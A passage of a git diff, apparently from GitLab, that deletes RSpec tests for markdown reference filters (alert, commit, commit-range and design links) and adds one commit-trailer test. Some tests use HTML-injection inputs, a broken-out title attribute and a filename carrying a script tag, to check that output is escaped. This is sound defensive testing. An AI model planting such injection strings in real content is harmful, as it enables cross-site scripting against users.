- it 'includes a title attribute' do
- doc = reference_filter("Alert #{reference}")
-
- expect(doc.css('a').first.attr('title')).to eq alert.title
- end
-
- it 'escapes the title attribute' do
- allow(alert).to receive(:title).and_return(%{"></a>whatever<a title="})
- doc = reference_filter("Alert #{reference}")
-
- expect(doc.text).to eq "Alert #{reference}"
- end
-
- it 'includes default classes' do
- doc = reference_filter("Alert #{reference}")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-alert has-tooltip'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Alert #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-alert attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-alert')
- expect(link.attr('data-alert')).to eq alert.id.to_s
- end
-
- it 'supports an :only_path context' do
- doc = reference_filter("Alert #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq urls.details_project_alert_management_url(project, alert.iid, only_path: true)
- end
- end
-
- context 'cross-project / cross-namespace complete reference' do
- let_it_be(:namespace) { create(:namespace) }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:alert) { create(:alert_management_alert, project: project2) }
- let_it_be(:reference) { "#{project2.full_path}^alert##{alert.iid}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq alert.details_url
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql(reference)
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text).to eql("See (#{reference}.)")
- end
-
- it 'ignores invalid alert IDs on the referenced project' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project / same-namespace complete reference' do
- let_it_be(:namespace) { create(:namespace) }
- let_it_be(:project) { create(:project, :public, namespace: namespace) }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:alert) { create(:alert_management_alert, project: project2) }
- let_it_be(:reference) { "#{project2.full_path}^alert##{alert.iid}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq alert.details_url
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}^alert##{alert.iid}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
-
- expect(doc.text).to eql("See (#{project2.path}^alert##{alert.iid}.)")
- end
-
- it 'ignores invalid alert IDs on the referenced project' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project shorthand reference' do
- let_it_be(:namespace) { create(:namespace) }
- let_it_be(:project) { create(:project, :public, namespace: namespace) }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:alert) { create(:alert_management_alert, project: project2) }
- let_it_be(:reference) { "#{project2.path}^alert##{alert.iid}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq alert.details_url
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}^alert##{alert.iid}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
-
- expect(doc.text).to eql("See (#{project2.path}^alert##{alert.iid}.)")
- end
-
- it 'ignores invalid alert IDs on the referenced project' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project URL reference' do
- let_it_be(:namespace) { create(:namespace, name: 'cross-reference') }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:alert) { create(:alert_management_alert, project: project2) }
- let_it_be(:reference) { alert.details_url }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq alert.details_url
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(alert.to_reference(project))}</a>\.\)})
- end
-
- it 'ignores invalid alert IDs on the referenced project' do
- act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
- end
- end
-
- context 'group context' do
- let_it_be(:group) { create(:group) }
-
- it 'links to a valid reference' do
- reference = "#{project.full_path}^alert##{alert.iid}"
- result = reference_filter("See #{reference}", { project: nil, group: group } )
-
- expect(result.css('a').first.attr('href')).to eq(alert.details_url)
- end
-
- it 'ignores internal references' do
- exp = act = "See ^alert##{alert.iid}"
-
- expect(reference_filter(act, project: nil, group: group).to_html).to eq exp
- end
- end
-end
diff --git a/spec/lib/banzai/filter/commit_range_reference_filter_spec.rb b/spec/lib/banzai/filter/commit_range_reference_filter_spec.rb
deleted file mode 100644
index f04d3212437..00000000000
--- a/spec/lib/banzai/filter/commit_range_reference_filter_spec.rb
+++ /dev/null
@@ -1,255 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::CommitRangeReferenceFilter do
- include FilterSpecHelper
-
- let(:project) { create(:project, :public, :repository) }
- let(:commit1) { project.commit("HEAD~2") }
- let(:commit2) { project.commit }
-
- let(:range) { CommitRange.new("#{commit1.id}...#{commit2.id}", project) }
- let(:range2) { CommitRange.new("#{commit1.id}..#{commit2.id}", project) }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Commit Range #{range.to_reference}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'internal reference' do
- let(:reference) { range.to_reference }
- let(:reference2) { range2.to_reference }
-
- it 'links to a valid two-dot reference' do
- doc = reference_filter("See #{reference2}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_compare_url(project, range2.to_param)
- end
-
- it 'links to a valid three-dot reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_compare_url(project, range.to_param)
- end
-
- it 'links to a valid short ID' do
- reference = "#{commit1.short_id}...#{commit2.id}"
- reference2 = "#{commit1.id}...#{commit2.short_id}"
-
- exp = commit1.short_id + '...' + commit2.short_id
-
- expect(reference_filter("See #{reference}").css('a').first.text).to eq exp
- expect(reference_filter("See #{reference2}").css('a').first.text).to eq exp
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("See (#{reference}.)")
-
- exp = Regexp.escape(range.reference_link_text)
- expect(doc.to_html).to match(%r{\(<a.+>#{exp}</a>\.\)})
- end
-
- it 'ignores invalid commit IDs' do
- exp = act = "See #{commit1.id.reverse}...#{commit2.id}"
-
- allow(project.repository).to receive(:commit).with(commit1.id.reverse)
- allow(project.repository).to receive(:commit).with(commit2.id)
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'includes no title attribute' do
- doc = reference_filter("See #{reference}")
- expect(doc.css('a').first.attr('title')).to eq ""
- end
-
- it 'includes default classes' do
- doc = reference_filter("See #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-commit_range has-tooltip'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-commit-range attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-commit-range')
- expect(link.attr('data-commit-range')).to eq range.to_s
- end
-
- it 'supports an :only_path option' do
- doc = reference_filter("See #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq urls.project_compare_url(project, from: commit1.id, to: commit2.id, only_path: true)
- end
- end
-
- context 'cross-project / cross-namespace complete reference' do
- let(:project2) { create(:project, :public, :repository) }
- let(:reference) { "#{project2.full_path}@#{commit1.id}...#{commit2.id}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_compare_url(project2, range.to_param)
- end
-
- it 'link has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.text)
- .to eql("#{project2.full_path}@#{commit1.short_id}...#{commit2.short_id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.text).to eql("Fixed (#{project2.full_path}@#{commit1.short_id}...#{commit2.short_id}.)")
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- exp = act = "Fixed #{project2.full_path}@#{commit1.id.reverse}...#{commit2.id}"
- expect(reference_filter(act).to_html).to eq exp
-
- exp = act = "Fixed #{project2.full_path}@#{commit1.id}...#{commit2.id.reverse}"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project / same-namespace complete reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, :repository, namespace: namespace) }
- let(:project2) { create(:project, :public, :repository, path: "same-namespace", namespace: namespace) }
- let(:reference) { "#{project2.path}@#{commit1.id}...#{commit2.id}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_compare_url(project2, range.to_param)
- end
-
- it 'link has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.text)
- .to eql("#{project2.path}@#{commit1.short_id}...#{commit2.short_id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.text).to eql("Fixed (#{project2.path}@#{commit1.short_id}...#{commit2.short_id}.)")
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- exp = act = "Fixed #{project2.path}@#{commit1.id.reverse}...#{commit2.id}"
- expect(reference_filter(act).to_html).to eq exp
-
- exp = act = "Fixed #{project2.path}@#{commit1.id}...#{commit2.id.reverse}"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project shorthand reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, :repository, namespace: namespace) }
- let(:project2) { create(:project, :public, :repository, path: "same-namespace", namespace: namespace) }
- let(:reference) { "#{project2.path}@#{commit1.id}...#{commit2.id}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_compare_url(project2, range.to_param)
- end
-
- it 'link has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.text)
- .to eql("#{project2.path}@#{commit1.short_id}...#{commit2.short_id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.text).to eql("Fixed (#{project2.path}@#{commit1.short_id}...#{commit2.short_id}.)")
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- exp = act = "Fixed #{project2.path}@#{commit1.id.reverse}...#{commit2.id}"
- expect(reference_filter(act).to_html).to eq exp
-
- exp = act = "Fixed #{project2.path}@#{commit1.id}...#{commit2.id.reverse}"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project URL reference' do
- let(:namespace) { create(:namespace) }
- let(:project2) { create(:project, :public, :repository, namespace: namespace) }
- let(:range) { CommitRange.new("#{commit1.id}...master", project) }
- let(:reference) { urls.project_compare_url(project2, from: commit1.id, to: 'master') }
-
- before do
- range.project = project2
- end
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq reference
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- exp = Regexp.escape(range.reference_link_text(project))
- expect(doc.to_html).to match(%r{\(<a.+>#{exp}</a>\.\)})
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- exp = act = "Fixed #{project2.to_reference_base}@#{commit1.id.reverse}...#{commit2.id}"
- expect(reference_filter(act).to_html).to eq exp
-
- exp = act = "Fixed #{project2.to_reference_base}@#{commit1.id}...#{commit2.id.reverse}"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'group context' do
- let(:context) { { project: nil, group: create(:group) } }
-
- it 'ignores internal references' do
- exp = act = "See #{range.to_reference}"
-
- expect(reference_filter(act, context).to_html).to eq exp
- end
-
- it 'links to a full-path reference' do
- reference = "#{project.full_path}@#{commit1.short_id}...#{commit2.short_id}"
-
- expect(reference_filter("See #{reference}", context).css('a').first.text).to eql(reference)
- end
- end
-end
diff --git a/spec/lib/banzai/filter/commit_reference_filter_spec.rb b/spec/lib/banzai/filter/commit_reference_filter_spec.rb
deleted file mode 100644
index 925fd031d95..00000000000
--- a/spec/lib/banzai/filter/commit_reference_filter_spec.rb
+++ /dev/null
@@ -1,272 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::CommitReferenceFilter do
- include FilterSpecHelper
-
- let(:project) { create(:project, :public, :repository) }
- let(:commit) { project.commit }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Commit #{commit.id}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'internal reference' do
- let(:reference) { commit.id }
-
- # Let's test a variety of commit SHA sizes just to be paranoid
- [7, 8, 12, 18, 20, 32, 40].each do |size|
- it "links to a valid reference of #{size} characters" do
- doc = reference_filter("See #{reference[0...size]}")
-
- expect(doc.css('a').first.text).to eq commit.short_id
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_commit_url(project, reference)
- end
- end
-
- it 'always uses the short ID as the link text' do
- doc = reference_filter("See #{commit.id}")
- expect(doc.text).to eq "See #{commit.short_id}"
-
- doc = reference_filter("See #{commit.id[0...7]}")
- expect(doc.text).to eq "See #{commit.short_id}"
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{commit.short_id}</a>\.\)})
- end
-
- it 'ignores invalid commit IDs' do
- invalid = invalidate_reference(reference)
- exp = act = "See #{invalid}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'includes a title attribute' do
- doc = reference_filter("See #{reference}")
- expect(doc.css('a').first.attr('title')).to eq commit.title
- end
-
- it 'escapes the title attribute' do
- allow_next_instance_of(Commit) do |instance|
- allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
- end
-
- doc = reference_filter("See #{reference}")
- expect(doc.text).to eq "See #{commit.short_id}"
- end
-
- it 'includes default classes' do
- doc = reference_filter("See #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-commit has-tooltip'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-commit attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-commit')
- expect(link.attr('data-commit')).to eq commit.id
- end
-
- it 'supports an :only_path context' do
- doc = reference_filter("See #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq urls.project_commit_url(project, reference, only_path: true)
- end
-
- context "in merge request context" do
- let(:noteable) { create(:merge_request, target_project: project, source_project: project) }
- let(:commit) { noteable.commits.first }
-
- it 'handles merge request contextual commit references' do
- url = urls.diffs_project_merge_request_url(project, noteable, commit_id: commit.id)
- doc = reference_filter("See #{reference}", noteable: noteable)
-
- expect(doc.css('a').first[:href]).to eq(url)
- end
-
- context "a doc with many (29) strings that could be SHAs" do
- let!(:oids) { noteable.commits.collect(&:id) }
-
- it 'makes only a single request to Gitaly' do
- expect(Gitlab::GitalyClient).to receive(:allow_n_plus_1_calls).exactly(0).times
- expect(Gitlab::Git::Commit).to receive(:batch_by_oid).once.and_call_original
-
- reference_filter("A big list of SHAs #{oids.join(", ")}", noteable: noteable)
- end
- end
- end
- end
-
- context 'cross-project / cross-namespace complete reference' do
- let(:namespace) { create(:namespace) }
- let(:project2) { create(:project, :public, :repository, namespace: namespace) }
- let(:commit) { project2.commit }
- let(:reference) { "#{project2.full_path}@#{commit.short_id}" }
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.full_path}@#{commit.short_id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text).to eql("See (#{project2.full_path}@#{commit.short_id}.)")
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- exp = act = "Committed #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project / same-namespace complete reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, namespace: namespace) }
- let(:project2) { create(:project, :public, :repository, namespace: namespace) }
- let(:commit) { project2.commit }
- let(:reference) { "#{project2.full_path}@#{commit.short_id}" }
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}@#{commit.short_id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text).to eql("See (#{project2.path}@#{commit.short_id}.)")
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- exp = act = "Committed #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project shorthand reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, namespace: namespace) }
- let(:project2) { create(:project, :public, :repository, namespace: namespace) }
- let(:commit) { project2.commit }
- let(:reference) { "#{project2.full_path}@#{commit.short_id}" }
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}@#{commit.short_id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text).to eql("See (#{project2.path}@#{commit.short_id}.)")
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- exp = act = "Committed #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project URL reference' do
- let(:namespace) { create(:namespace) }
- let(:project2) { create(:project, :public, :repository, namespace: namespace) }
- let(:commit) { project2.commit }
- let(:reference) { urls.project_commit_url(project2, commit.id) }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_commit_url(project2, commit.id)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{commit.reference_link_text(project)}</a>\.\)})
- end
-
- it 'ignores invalid commit IDs on the referenced project' do
- act = "Committed #{invalidate_reference(reference)}"
- expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
- end
- end
-
- context 'URL reference for a commit patch' do
- let(:namespace) { create(:namespace) }
- let(:project2) { create(:project, :public, :repository, namespace: namespace) }
- let(:commit) { project2.commit }
- let(:link) { urls.project_commit_url(project2, commit.id) }
- let(:extension) { '.patch' }
- let(:reference) { link + extension }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq reference
- end
-
- it 'has valid text' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.text).to eq("See #{commit.reference_link_text(project)} (patch)")
- end
-
- it 'does not link to patch when extension match is after the path' do
- invalidate_commit_reference = reference_filter("#{link}/builds.patch")
-
- doc = reference_filter("See (#{invalidate_commit_reference})")
-
- expect(doc.css('a').first.attr('href')).to eq "#{link}/builds"
- expect(doc.text).to eq("See (#{commit.reference_link_text(project)} (builds).patch)")
- end
- end
-
- context 'group context' do
- let(:context) { { project: nil, group: create(:group) } }
-
- it 'ignores internal references' do
- exp = act = "See #{commit.id}"
-
- expect(reference_filter(act, context).to_html).to eq exp
- end
-
- it 'links to a valid reference' do
- act = "See #{project.full_path}@#{commit.id}"
-
- expect(reference_filter(act, context).css('a').first.text).to eql("#{project.full_path}@#{commit.short_id}")
- end
- end
-end
diff --git a/spec/lib/banzai/filter/commit_trailers_filter_spec.rb b/spec/lib/banzai/filter/commit_trailers_filter_spec.rb
index 03a6cc34962..f7cb6b92b48 100644
--- a/spec/lib/banzai/filter/commit_trailers_filter_spec.rb
+++ b/spec/lib/banzai/filter/commit_trailers_filter_spec.rb
@@ -139,6 +139,12 @@ RSpec.describe Banzai::Filter::CommitTrailersFilter do
end
context "structure" do
+ it 'starts with two newlines to separate with actual commit message' do
+ doc = filter(commit_message_html)
+
+ expect(doc.xpath('pre').text).to start_with("\n\n")
+ end
+
it 'preserves the commit trailer structure' do
doc = filter(commit_message_html)
diff --git a/spec/lib/banzai/filter/design_reference_filter_spec.rb b/spec/lib/banzai/filter/design_reference_filter_spec.rb
deleted file mode 100644
index 847c398964a..00000000000
--- a/spec/lib/banzai/filter/design_reference_filter_spec.rb
+++ /dev/null
@@ -1,287 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::DesignReferenceFilter do
- include FilterSpecHelper
- include DesignManagementTestHelpers
-
- let_it_be(:issue) { create(:issue, iid: 10) }
- let_it_be(:issue_proj_2) { create(:issue, iid: 20) }
- let_it_be(:issue_b) { create(:issue, project: issue.project) }
- let_it_be(:developer) { create(:user, developer_projects: [issue.project, issue_proj_2.project]) }
- let_it_be(:design_a) { create(:design, :with_versions, issue: issue) }
- let_it_be(:design_b) { create(:design, :with_versions, issue: issue_b) }
- let_it_be(:design_proj_2) { create(:design, :with_versions, issue: issue_proj_2) }
- let_it_be(:project_with_no_lfs) { create(:project, :public, lfs_enabled: false) }
-
- let(:design) { design_a }
- let(:project) { issue.project }
- let(:project_2) { issue_proj_2.project }
- let(:reference) { design.to_reference }
- let(:design_url) { url_for_design(design) }
- let(:input_text) { "Added #{design_url}" }
- let(:doc) { process_doc(input_text) }
- let(:current_user) { developer }
-
- before do
- enable_design_management
- end
-
- shared_examples 'a no-op filter' do
- it 'does nothing' do
- expect(process(input_text)).to eq(baseline(input_text).to_html)
- end
- end
-
- shared_examples 'a good link reference' do
- let(:link) { doc.css('a').first }
- let(:href) { url_for_design(design) }
- let(:title) { design.filename }
-
- it 'produces a good link', :aggregate_failures do
- expect(link.attr('href')).to eq(href)
- expect(link.attr('title')).to eq(title)
- expect(link.attr('class')).to eq('gfm gfm-design has-tooltip')
- expect(link.attr('data-project')).to eq(design.project.id.to_s)
- expect(link.attr('data-issue')).to eq(design.issue.id.to_s)
- expect(link.attr('data-original')).to eq(href)
- expect(link.attr('data-reference-type')).to eq('design')
- expect(link.text).to eq(design.to_reference(project))
- end
- end
-
- describe '.call' do
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
- end
-
- it 'does not error when we add redaction to the pipeline' do
- enable_design_management
-
- res = reference_pipeline(redact: true).to_document(input_text)
-
- expect(res.css('a').first).to be_present
- end
-
- describe '#call' do
- describe 'feature flags' do
- context 'design management is not enabled' do
- before do
- enable_design_management(false)
- end
-
- it_behaves_like 'a no-op filter'
- end
- end
- end
-
- %w(pre code a style).each do |elem|
- context "wrapped in a <#{elem}/>" do
- let(:input_text) { "<#{elem}>Design #{url_for_design(design)}</#{elem}>" }
-
- it_behaves_like 'a no-op filter'
- end
- end
-
- describe '.identifier' do
- where(:filename) do
- [
- ['simple.png'],
- ['SIMPLE.PNG'],
- ['has spaces.png'],
- ['has-hyphen.jpg'],
- ['snake_case.svg'],
- ['has "quotes".svg'],
- ['has <special> characters [o].svg']
- ]
- end
-
- with_them do
- let(:design) { build(:design, issue: issue, filename: filename) }
- let(:url) { url_for_design(design) }
- let(:pattern) { described_class.object_class.link_reference_pattern }
- let(:parsed) do
- m = pattern.match(url)
- described_class.identifier(m) if m
- end
-
- it 'can parse the reference' do
- expect(parsed).to have_attributes(
- filename: filename,
- issue_iid: issue.iid
- )
- end
- end
- end
-
- describe 'static properties' do
- specify do
- expect(described_class).to have_attributes(
- object_sym: :design,
- object_class: ::DesignManagement::Design
- )
- end
- end
-
- describe '#data_attributes_for' do
- let(:subject) { filter_instance.data_attributes_for(input_text, project, design) }
-
- specify do
- is_expected.to include(issue: design.issue_id,
- original: input_text,
- project: project.id,
- design: design.id)
- end
- end
-
- context 'a design with a quoted filename' do
- let(:filename) { %q{A "very" good file.png} }
- let(:design) { create(:design, :with_versions, issue: issue, filename: filename) }
-
- it 'links to the design' do
- expect(doc.css('a').first.attr('href'))
- .to eq url_for_design(design)
- end
- end
-
- context 'internal reference' do
- it_behaves_like 'a reference containing an element node'
-
- context 'the reference is valid' do
- it_behaves_like 'a good link reference'
-
- context 'the filename needs to be escaped' do
- where(:filename) do
- [
- ['with some spaces.png'],
- ['with <script>console.log("pwded")<%2Fscript>.png']
- ]
- end
-
- with_them do
- let(:design) { create(:design, :with_versions, filename: filename, issue: issue) }
- let(:link) { doc.css('a').first }
-
- it 'replaces the content with the reference, but keeps the link', :aggregate_failures do
- expect(doc.text).to eq(CGI.unescapeHTML("Added #{design.to_reference}"))
- expect(link.attr('title')).to eq(design.filename)
- expect(link.attr('href')).to eq(design_url)
- end
- end
- end
- end
-
- context 'the reference is to a non-existant design' do
- let(:design_url) { url_for_design(build(:design, issue: issue)) }
-
- it_behaves_like 'a no-op filter'
- end
-
- context 'design management is disabled for the referenced project' do
- let(:public_issue) { create(:issue, project: project_with_no_lfs) }
- let(:design) { create(:design, :with_versions, issue: public_issue) }
-
- it_behaves_like 'a no-op filter'
- end
- end
-
- describe 'link pattern' do
- let(:reference) { url_for_design(design) }
-
- it 'matches' do
- expect(reference).to match(DesignManagement::Design.link_reference_pattern)
- end
- end
-
- context 'cross-project / cross-namespace complete reference' do
- let(:design) { design_proj_2 }
-
- it_behaves_like 'a reference containing an element node'
-
- it_behaves_like 'a good link reference'
-
- it 'links to a valid reference' do
- expect(doc.css('a').first.attr('href')).to eq(design_url)
- end
-
- context 'design management is disabled for that project' do
- let(:design) { create(:design, project: project_with_no_lfs) }
-
- it_behaves_like 'a no-op filter'
- end
-
- it 'link has valid text' do
- ref = "#{design.project.full_path}##{design.issue.iid}[#{design.filename}]"
-
- expect(doc.css('a').first.text).to eql(ref)
- end
-
- it 'includes default classes' do
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-design has-tooltip'
- end
-
- context 'the reference is invalid' do
- let(:design_url) { url_for_design(design).gsub(/jpg/, 'gif') }
-
- it_behaves_like 'a no-op filter'
- end
- end
-
- describe 'performance' do
- it 'is linear in the number of projects with design management enabled each design refers to' do
- design_c = build(:design, :with_versions, issue: issue)
- design_d = build(:design, :with_versions, issue: issue_b)
- design_e = build(:design, :with_versions, issue: build_stubbed(:issue, project: project_2))
-
- one_ref_per_project = <<~MD
- Design #{url_for_design(design_a)}, #{url_for_design(design_proj_2)}
- MD
-
- multiple_references = <<~MD
- Designs that affect the count:
- * #{url_for_design(design_a)}
- * #{url_for_design(design_b)}
- * #{url_for_design(design_c)}
- * #{url_for_design(design_d)}
- * #{url_for_design(design_proj_2)}
- * #{url_for_design(design_e)}
-
- Things that do not affect the count:
- * #{url_for_design(build_stubbed(:design, project: project_with_no_lfs))}
- * #{url_for_designs(issue)}
- * #1[not a valid reference.gif]
- MD
-
- baseline = ActiveRecord::QueryRecorder.new { process(one_ref_per_project) }
-
- # each project mentioned requires 2 queries:
- #
- # * SELECT "issues".* FROM "issues" WHERE "issues"."project_id" = 1 AND ...
- # :in `parent_records'*/
- # * SELECT "_designs".* FROM "_designs"
- # WHERE (issue_id = ? AND filename = ?) OR ...
- # :in `parent_records'*/
- #
- # In addition there is a 1 query overhead for all the projects at the
- # start. Currently, the baseline for 2 projects is `2 * 2 + 1 = 5` queries
- #
- expect { process(multiple_references) }.not_to exceed_query_limit(baseline.count)
- end
- end
-
- private
-
- def process_doc(text)
- reference_filter(text, project: project)
- end
-
- def baseline(text)
- null_filter(text, project: project)
- end
-
- def process(text)
- process_doc(text).to_html
- end
-end
diff --git a/spec/lib/banzai/filter/external_issue_reference_filter_spec.rb b/spec/lib/banzai/filter/external_issue_reference_filter_spec.rb
deleted file mode 100644
index 35ef2abfa63..00000000000
--- a/spec/lib/banzai/filter/external_issue_reference_filter_spec.rb
+++ /dev/null
@@ -1,256 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::ExternalIssueReferenceFilter do
- include FilterSpecHelper
-
- let_it_be_with_refind(:project) { create(:project) }
-
- shared_examples_for "external issue tracker" do
- it_behaves_like 'a reference containing an element node'
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Issue #{reference}</#{elem}>"
-
- expect(filter(act).to_html).to eq exp
- end
- end
-
- it 'ignores valid references when using default tracker' do
